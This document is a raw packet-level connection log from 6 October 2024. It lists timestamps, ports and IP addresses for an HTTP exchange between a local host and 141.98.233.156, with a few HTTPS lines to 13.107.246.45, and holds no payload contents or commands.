Oct 6, 2024 22:33:17.788916111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788918972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788935900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788940907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788953066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788964033 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.788968086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788985014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.788989067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789000034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789010048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789016008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789030075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789032936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789043903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789047003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789063931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789063931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789072990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789082050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789091110 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789097071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789103985 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789113998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789123058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789129019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789136887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789156914 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789170027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789752007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789777994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789793015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789808035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789825916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789829016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789841890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789851904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789858103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789860964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789874077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789889097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789890051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789899111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789904118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789915085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789921045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789928913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789937019 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789946079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789951086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789963007 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789968014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789974928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789983988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.789994001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.789999962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790004015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790015936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790024996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790031910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790035963 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790047884 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790055037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790066004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790070057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790081978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790087938 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790098906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790106058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790117979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790132999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790721893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790747881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790760994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790775061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790790081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790795088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790805101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790821075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790832043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790837049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790842056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790854931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790868044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790870905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790882111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790884018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790899992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790908098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790915012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790930986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790930986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790947914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790955067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790963888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790981054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.790981054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.790997028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791003942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791013002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791027069 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791028023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791043997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791049957 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791060925 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791073084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791079044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791098118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791117907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791546106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791655064 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.791702032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791732073 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.791758060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791773081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791789055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791801929 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.791802883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791816950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791820049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791835070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791836023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791851044 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791853905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791871071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791883945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791887999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791899920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791904926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791923046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791932106 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.791932106 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.791938066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791954041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791966915 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.791977882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791985035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.791992903 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792005062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792005062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792005062 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792048931 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.792174101 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.792176008 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792180061 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.792207956 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.792213917 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.792613983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792630911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792651892 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792658091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792669058 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792678118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792684078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792695999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792701006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792712927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792717934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792730093 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792736053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792742014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792752028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792767048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792767048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792777061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792783022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792793036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792798996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.792812109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792820930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792838097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.792947054 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.792963982 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.792994976 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793010950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793025970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793050051 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793075085 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793163061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793179989 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793195963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793210983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793219090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793226957 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793241978 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793246031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793255091 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793258905 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793275118 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793282032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793287992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793294907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793304920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793306112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793320894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793322086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793339014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793345928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793355942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793356895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793371916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793376923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793387890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793389082 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793404102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793407917 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793421984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793425083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793436050 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793437004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793453932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.793458939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793468952 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.793493032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794145107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794172049 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794187069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794209003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794213057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794224977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794236898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794239998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794255972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794260025 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794271946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794282913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794287920 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794303894 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794306993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794322014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794327974 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794337988 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794351101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794353008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794362068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794368982 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794378996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794399023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794408083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794697046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794713020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794728041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794743061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794754028 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794778109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794799089 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.794823885 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.794847012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794861078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794883013 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794898987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794914007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794928074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794929028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794929981 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.794945002 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794956923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.794962883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794984102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.794985056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795008898 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795017958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795032978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795049906 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:17.795067072 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:17.795094013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795308113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795325041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795339108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795355082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795367002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795378923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795408964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795413017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795419931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795429945 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795445919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795461893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795469046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795476913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795491934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795492887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795509100 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795516968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795525074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795541048 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795542002 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795556068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795564890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795572996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795586109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795588017 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795607090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795609951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795623064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795633078 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795639038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795655012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795659065 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795670986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795677900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795686960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795701981 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.795706987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795725107 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.795747995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796262980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796278954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796292067 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796303988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796309948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796314001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796325922 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796335936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796341896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796350956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796359062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796365976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796375990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796380043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796394110 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796399117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796411037 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796411037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796427011 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796428919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796442032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796443939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796461105 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796478033 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:17.796484947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796560049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:17.796705008 CEST	80	49741	141.98.233.156	192.168.2.4
